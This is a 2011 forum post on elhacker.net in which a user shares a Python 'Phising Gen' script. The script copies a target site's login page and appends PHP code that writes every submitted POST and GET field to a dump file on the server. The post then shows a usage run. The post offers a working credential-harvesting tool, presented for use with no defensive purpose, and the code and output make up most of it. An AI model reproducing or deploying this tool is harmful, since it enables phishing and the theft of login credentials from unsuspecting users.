elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Phising Gen By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Phising Gen By Doddy H  (Leído 1,826 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] Phising Gen By Doddy H
« en: 7 Octubre 2011, 01:39 am »

Hola a todos

Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.


Código
  1. #!usr/bin/python
  2. #Phising Gen (C) Doddy Hackman
  3.  
  4. import urllib2,sys,os
  5.  
  6.  
  7. def savefile(filename,text):
  8. file = open(filename,"w")
  9. file.write(text)
  10.  
  11.  
  12. def header() :
  13. print "\n\n--== Phising Gen ==--\n"
  14.  
  15. def copyright() :
  16. print "\n\n(C) Doddy Hackman 2010\n"
  17. exit(1)
  18.  
  19. def show() :
  20. print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"
  21.  
  22. def toma(web) :
  23. return urllib2.urlopen(web).read()
  24.  
  25.  
  26. def gen(web,new):
  27. try:
  28.  print "\n[+] Working in the phishing"
  29.  code = toma(web)
  30.  text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
  31.  print "[+] The fake was save in",new
  32.  savefile(new,code+"\n\n"+text)
  33. except:
  34.  pass
  35.  
  36. header()
  37.  
  38. if len(sys.argv) != 3 :
  39. show()
  40.  
  41. else :
  42. gen(sys.argv[1],sys.argv[2])
  43.  
  44. copyright()
  45.  
  46. #The End
  47.  
  48.  
  49.  

Ejemplo de uso

Código:
C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php



--== Phising Gen ==--


[+] Working in the phishing
[+] The fake was save in yeah.php


(C) Doddy Hackman 2010




« Última modificación: 8 Octubre 2011, 19:07 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
BigBear 0 1,469 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Python] Fuzz DNS By Doddy H
Scripting
BigBear 0 1,408 Último mensaje 7 Octubre 2011, 01:34 am
por BigBear
[Python] Google Inyector By dODDY h
Scripting
BigBear 0 1,729 Último mensaje 7 Octubre 2011, 01:36 am
por BigBear
[Python] HellRat By Doddy H
Scripting
BigBear 0 1,483 Último mensaje 7 Octubre 2011, 01:37 am
por BigBear
[Python] Zapper By Doddy H
Scripting
BigBear 0 1,458 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines